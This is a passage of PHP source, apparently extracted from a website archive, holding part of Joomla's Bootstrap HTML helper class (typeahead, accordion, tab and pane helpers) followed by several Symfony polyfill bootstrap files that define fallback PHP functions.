public static function typeahead($selector = '.typeahead', $params = array())
{
if (!isset(static::$loaded[__METHOD__][$selector]))
{
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Setup options object
$opt['source'] = isset($params['source']) ? $params['source'] : null;
$opt['items'] = isset($params['items']) ? (int) $params['items'] : 8;
$opt['minLength'] = isset($params['minLength']) ? (int) $params['minLength'] : 1;
$opt['matcher'] = isset($params['matcher']) ? (string) $params['matcher'] : null;
$opt['sorter'] = isset($params['sorter']) ? (string) $params['sorter'] : null;
$opt['updater'] = isset($params['updater']) ? (string) $params['updater'] : null;
$opt['highlighter'] = isset($params['highlighter']) ? (int) $params['highlighter'] : null;
$options = JHtml::getJSObject($opt);
// Attach typehead to document
JFactory::getDocument()->addScriptDeclaration(
'jQuery(function($){ $(' . json_encode($selector) . ').typeahead(' . $options . '); });'
);
// Set static array
static::$loaded[__METHOD__][$selector] = true;
}
return;
}
/**
* Add javascript support for Bootstrap accordions and insert the accordion
*
* @param string $selector The ID selector for the tooltip.
* @param array $params An array of options for the tooltip.
* Options for the tooltip can be:
* - parent selector If selector then all collapsible elements under the specified parent will be closed when this
* collapsible item is shown. (similar to traditional accordion behavior)
* - toggle boolean Toggles the collapsible element on invocation
* - active string Sets the active slide during load
*
* - onShow function This event fires immediately when the show instance method is called.
* - onShown function This event is fired when a collapse element has been made visible to the user
* (will wait for css transitions to complete).
* - onHide function This event is fired immediately when the hide method has been called.
* - onHidden function This event is fired when a collapse element has been hidden from the user
* (will wait for css transitions to complete).
*
* @return string HTML for the accordian
*
* @since 3.0
*/
public static function startAccordion($selector = 'myAccordian', $params = array())
{
if (!isset(static::$loaded[__METHOD__][$selector]))
{
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Setup options object
$opt['parent'] = isset($params['parent']) ? ($params['parent'] == true ? '#' . $selector : $params['parent']) : false;
$opt['toggle'] = isset($params['toggle']) ? (boolean) $params['toggle'] : !($opt['parent'] === false || isset($params['active']));
$onShow = isset($params['onShow']) ? (string) $params['onShow'] : null;
$onShown = isset($params['onShown']) ? (string) $params['onShown'] : null;
$onHide = isset($params['onHide']) ? (string) $params['onHide'] : null;
$onHidden = isset($params['onHidden']) ? (string) $params['onHidden'] : null;
$options = JHtml::getJSObject($opt);
$opt['active'] = isset($params['active']) ? (string) $params['active'] : '';
// Build the script.
$script = array();
$script[] = "jQuery(function($){";
$script[] = "\t$('#" . $selector . "').collapse(" . $options . ")";
if ($onShow)
{
$script[] = "\t.on('show', " . $onShow . ")";
}
if ($onShown)
{
$script[] = "\t.on('shown', " . $onShown . ")";
}
if ($onHide)
{
$script[] = "\t.on('hideme', " . $onHide . ")";
}
if ($onHidden)
{
$script[] = "\t.on('hidden', " . $onHidden . ")";
}
$parents = array_key_exists(__METHOD__, static::$loaded) ? array_filter(array_column(static::$loaded[__METHOD__], 'parent')) : array();
if ($opt['parent'] && empty($parents))
{
$script[] = "
$(document).on('click.collapse.data-api', '[data-toggle=collapse]', function (e) {
var \$this = $(this), href
var parent = \$this.attr('data-parent')
var \$parent = parent && $(parent)
if (\$parent) \$parent.find('[data-toggle=collapse][data-parent=' + parent + ']').not(\$this).addClass('collapsed')
})";
}
$script[] = "});";
// Attach accordion to document
JFactory::getDocument()->addScriptDeclaration(implode("\n", $script));
// Set static array
static::$loaded[__METHOD__][$selector] = $opt;
return '<div id="' . $selector . '" class="accordion">';
}
}
/**
* Close the current accordion
*
* @return string HTML to close the accordian
*
* @since 3.0
*/
public static function endAccordion()
{
return '</div>';
}
/**
* Begins the display of a new accordion slide.
*
* @param string $selector Identifier of the accordion group.
* @param string $text Text to display.
* @param string $id Identifier of the slide.
* @param string $class Class of the accordion group.
*
* @return string HTML to add the slide
*
* @since 3.0
*/
public static function addSlide($selector, $text, $id, $class = '')
{
$in = (static::$loaded[__CLASS__ . '::startAccordion'][$selector]['active'] == $id) ? ' in' : '';
$collapsed = (static::$loaded[__CLASS__ . '::startAccordion'][$selector]['active'] == $id) ? '' : ' collapsed';
$parent = static::$loaded[__CLASS__ . '::startAccordion'][$selector]['parent'] ?
' data-parent="' . static::$loaded[__CLASS__ . '::startAccordion'][$selector]['parent'] . '"' : '';
$class = (!empty($class)) ? ' ' . $class : '';
$html = '<div class="accordion-group' . $class . '">'
. '<div class="accordion-heading">'
. '<strong><a href="#' . $id . '" data-toggle="collapse"' . $parent . ' class="accordion-toggle' . $collapsed . '">'
. $text
. '</a></strong>'
. '</div>'
. '<div class="accordion-body collapse' . $in . '" id="' . $id . '">'
. '<div class="accordion-inner">';
return $html;
}
/**
* Close the current slide
*
* @return string HTML to close the slide
*
* @since 3.0
*/
public static function endSlide()
{
return '</div></div></div>';
}
/**
* Creates a tab pane
*
* @param string $selector The pane identifier.
* @param array $params The parameters for the pane
*
* @return string
*
* @since 3.1
*/
public static function startTabSet($selector = 'myTab', $params = array())
{
$sig = md5(serialize(array($selector, $params)));
if (!isset(static::$loaded[__METHOD__][$sig]))
{
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Setup options object
$opt['active'] = (isset($params['active']) && $params['active']) ? (string) $params['active'] : '';
// Attach tabs to document
JFactory::getDocument()
->addScriptDeclaration(JLayoutHelper::render('libraries.cms.html.bootstrap.starttabsetscript', array('selector' => $selector)));
// Set static array
static::$loaded[__METHOD__][$sig] = true;
static::$loaded[__METHOD__][$selector]['active'] = $opt['active'];
}
return JLayoutHelper::render('libraries.cms.html.bootstrap.starttabset', array('selector' => $selector));
}
/**
* Close the current tab pane
*
* @return string HTML to close the pane
*
* @since 3.1
*/
public static function endTabSet()
{
return JLayoutHelper::render('libraries.cms.html.bootstrap.endtabset');
}
/**
* Begins the display of a new tab content panel.
*
* @param string $selector Identifier of the panel.
* @param string $id The ID of the div element
* @param string $title The title text for the new UL tab
*
* @return string HTML to start a new panel
*
* @since 3.1
*/
public static function addTab($selector, $id, $title)
{
static $tabScriptLayout = null;
static $tabLayout = null;
$tabScriptLayout = $tabScriptLayout === null ? new JLayoutFile('libraries.cms.html.bootstrap.addtabscript') : $tabScriptLayout;
$tabLayout = $tabLayout === null ? new JLayoutFile('libraries.cms.html.bootstrap.addtab') : $tabLayout;
$active = (static::$loaded['JHtmlBootstrap::startTabSet'][$selector]['active'] == $id) ? ' active' : '';
// Inject tab into UL
JFactory::getDocument()
->addScriptDeclaration($tabScriptLayout->render(array('selector' => $selector, 'id' => $id, 'active' => $active, 'title' => $title)));
return $tabLayout->render(array('id' => $id, 'active' => $active));
}
/**
* Close the current tab content panel
*
* @return string HTML to close the pane
*
* @since 3.1
*/
public static function endTab()
{
return JLayoutHelper::render('libraries.cms.html.bootstrap.endtab');
}
/**
* Creates a tab pane
*
* @param string $selector The pane identifier.
* @param array $params The parameters for the pane
*
* @return string
*
* @since 3.0
* @deprecated 4.0 Use JHtml::_('bootstrap.startTabSet') instead.
*/
public static function startPane($selector = 'myTab', $params = array())
{
$sig = md5(serialize(array($selector, $params)));
if (!isset(static::$loaded['JHtmlBootstrap::startTabSet'][$sig]))
{
// Include Bootstrap framework
JHtml::_('bootstrap.framework');
// Setup options object
$opt['active'] = isset($params['active']) ? (string) $params['active'] : '';
// Attach tab to document
JFactory::getDocument()->addScriptDeclaration(
'jQuery(function($){
$(' . json_encode('#' . $selector . ' a') . ').click(function (e) {
e.preventDefault();
$(this).tab("show");
});
});'
);
// Set static array
static::$loaded['JHtmlBootstrap::startTabSet'][$sig] = true;
static::$loaded['JHtmlBootstrap::startTabSet'][$selector]['active'] = $opt['active'];
}
return '<div class="tab-content" id="' . $selector . 'Content">';
}
/**
* Close the current tab pane
*
* @return string HTML to close the pane
*
* @since 3.0
* @deprecated 4.0 Use JHtml::_('bootstrap.endTabSet') instead.
*/
public static function endPane()
{
return '</div>';
}
/**
* Begins the display of a new tab content panel.
*
* @param string $selector Identifier of the panel.
* @param string $id The ID of the div element
*
* @return string HTML to start a new panel
*
* @since 3.0
* @deprecated 4.0 Use JHtml::_('bootstrap.addTab') instead.
*/
public static function addPanel($selector, $id)
{
$active = (static::$loaded['JHtmlBootstrap::startTabSet'][$selector]['active'] == $id) ? ' active' : '';
return '<div id="' . $id . '" class="tab-pane' . $active . '">';
}
/**
* Close the current tab content panel
*
* @return string HTML to close the pane
*
* @since 3.0
* @deprecated 4.0 Use JHtml::_('bootstrap.endTab') instead.
*/
public static function endPanel()
{
return '</div>';
}
/**
* Loads CSS files needed by Bootstrap
*
* @param boolean $includeMainCss If true, main bootstrap.css files are loaded
* @param string $direction rtl or ltr direction. If empty, ltr is assumed
* @param array $attribs Optional array of attributes to be passed to JHtml::_('stylesheet')
*
* @return void
*
* @since 3.0
*/
public static function loadCss($includeMainCss = true, $direction = 'ltr', $attribs = array())
{
// Load Bootstrap main CSS
if ($includeMainCss)
{
JHtml::_('stylesheet', 'jui/bootstrap.min.css', array('version' => 'auto', 'relative' => true), $attribs);
JHtml::_('stylesheet', 'jui/bootstrap-responsive.min.css', array('version' => 'auto', 'relative' => true), $attribs);
JHtml::_('stylesheet', 'jui/bootstrap-extended.css', array('version' => 'auto', 'relative' => true), $attribs);
}
// Load Bootstrap RTL CSS
if ($direction === 'rtl')
{
JHtml::_('stylesheet', 'jui/bootstrap-rtl.css', array('version' => 'auto', 'relative' => true), $attribs);
}
}
}
home/digilove/public_html/libraries/vendor/symfony/polyfill-php55/bootstrap.php 0000644 00000001715 15235701261 0024102 0 ustar 00 <?php
/*
* This file is part of the Symfony package.
*
* (c) Fabien Potencier <fabien@symfony.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
use Symfony\Polyfill\Php55 as p;
if (PHP_VERSION_ID >= 50500) {
return;
}
if (!function_exists('boolval')) {
function boolval($value) { return p\Php55::boolval($value); }
}
if (!function_exists('json_last_error_msg')) {
function json_last_error_msg() { return p\Php55::json_last_error_msg(); }
}
if (!function_exists('array_column')) {
function array_column($array, $column_key, $index_key = null) { return p\Php55ArrayColumn::array_column($array, $column_key, $index_key); }
}
if (!function_exists('hash_pbkdf2')) {
function hash_pbkdf2($algorithm, $password, $salt, $iterations, $length = 0, $rawOutput = false) { return p\Php55::hash_pbkdf2($algorithm, $password, $salt, $iterations, $length, $rawOutput); }
}
home/digilove/public_html/libraries/vendor/symfony/polyfill-php73/bootstrap.php 0000644 00000001764 15235701334 0024107 0 ustar 00 <?php
/*
* This file is part of the Symfony package.
*
* (c) Fabien Potencier <fabien@symfony.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
use Symfony\Polyfill\Php73 as p;
if (PHP_VERSION_ID >= 70300) {
return;
}
if (!function_exists('is_countable')) {
function is_countable($value) { return is_array($value) || $value instanceof Countable || $value instanceof ResourceBundle || $value instanceof SimpleXmlElement; }
}
if (!function_exists('hrtime')) {
require_once __DIR__.'/Php73.php';
p\Php73::$startAt = (int) microtime(true);
function hrtime($as_number = false) { return p\Php73::hrtime($as_number ); }
}
if (!function_exists('array_key_first')) {
function array_key_first(array $array) { foreach ($array as $key => $value) { return $key; } }
}
if (!function_exists('array_key_last')) {
function array_key_last(array $array) { return key(array_slice($array, -1, 1, true)); }
}
home/digilove/public_html/libraries/vendor/symfony/polyfill-php71/bootstrap.php 0000644 00000000603 15235701706 0024077 0 ustar 00 <?php
/*
* This file is part of the Symfony package.
*
* (c) Fabien Potencier <fabien@symfony.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
use Symfony\Polyfill\Php71 as p;
if (!function_exists('is_iterable')) {
function is_iterable($value) { return p\Php71::is_iterable($value); }
}
home/digilove/public_html/libraries/vendor/symfony/polyfill-php56/bootstrap.php 0000644 00000003052 15235702025 0024076 0 ustar 00 <?php
/*
* This file is part of the Symfony package.
*
* (c) Fabien Potencier <fabien@symfony.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
use Symfony\Polyfill\Php56 as p;
if (PHP_VERSION_ID >= 50600) {
return;
}
if (!function_exists('hash_equals')) {
function hash_equals($known_string, $user_string) { return p\Php56::hash_equals($known_string, $user_string); }
}
if (extension_loaded('ldap') && !defined('LDAP_ESCAPE_FILTER')) {
define('LDAP_ESCAPE_FILTER', 1);
}
if (extension_loaded('ldap') && !defined('LDAP_ESCAPE_DN')) {
define('LDAP_ESCAPE_DN', 2);
}
if (extension_loaded('ldap') && !function_exists('ldap_escape')) {
function ldap_escape($value, $ignore = '', $flags = 0) { return p\Php56::ldap_escape($value, $ignore, $flags); }
}
if (50509 === PHP_VERSION_ID && 4 === PHP_INT_SIZE) {
// Missing functions in PHP 5.5.9 - affects 32 bit builds of Ubuntu 14.04LTS
// See https://bugs.launchpad.net/ubuntu/+source/php5/+bug/1315888
if (!function_exists('gzopen') && function_exists('gzopen64')) {
function gzopen($filename, $mode, $use_include_path = 0) { return gzopen64($filename, $mode, $use_include_path); }
}
if (!function_exists('gzseek') && function_exists('gzseek64')) {
function gzseek($fp, $offset, $whence = SEEK_SET) { return gzseek64($fp, $offset, $whence); }
}
if (!function_exists('gztell') && function_exists('gztell64')) {
function gztell($fp) { return gztell64($fp); }
}
}
home/digilove/public_html/libraries/vendor/symfony/polyfill-ctype/bootstrap.php 0000644 00000003004 15235702702 0024257 0 ustar 00 <?php
/*
* This file is part of the Symfony package.
*
* (c) Fabien Potencier <fabien@symfony.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
use Symfony\Polyfill\Ctype as p;
if (!function_exists('ctype_alnum')) {
function ctype_alnum($input) { return p\Ctype::ctype_alnum($input); }
}
if (!function_exists('ctype_alpha')) {
function ctype_alpha($input) { return p\Ctype::ctype_alpha($input); }
}
if (!function_exists('ctype_cntrl')) {
function ctype_cntrl($input) { return p\Ctype::ctype_cntrl($input); }
}
if (!function_exists('ctype_digit')) {
function ctype_digit($input) { return p\Ctype::ctype_digit($input); }
}
if (!function_exists('ctype_graph')) {
function ctype_graph($input) { return p\Ctype::ctype_graph($input); }
}
if (!function_exists('ctype_lower')) {
function ctype_lower($input) { return p\Ctype::ctype_lower($input); }
}
if (!function_exists('ctype_print')) {
function ctype_print($input) { return p\Ctype::ctype_print($input); }
}
if (!function_exists('ctype_punct')) {
function ctype_punct($input) { return p\Ctype::ctype_punct($input); }
}
if (!function_exists('ctype_space')) {
function ctype_space($input) { return p\Ctype::ctype_space($input); }
}
if (!function_exists('ctype_upper')) {
function ctype_upper($input) { return p\Ctype::ctype_upper($input); }
}
if (!function_exists('ctype_xdigit')) {
function ctype_xdigit($input) { return p\Ctype::ctype_xdigit($input); }
}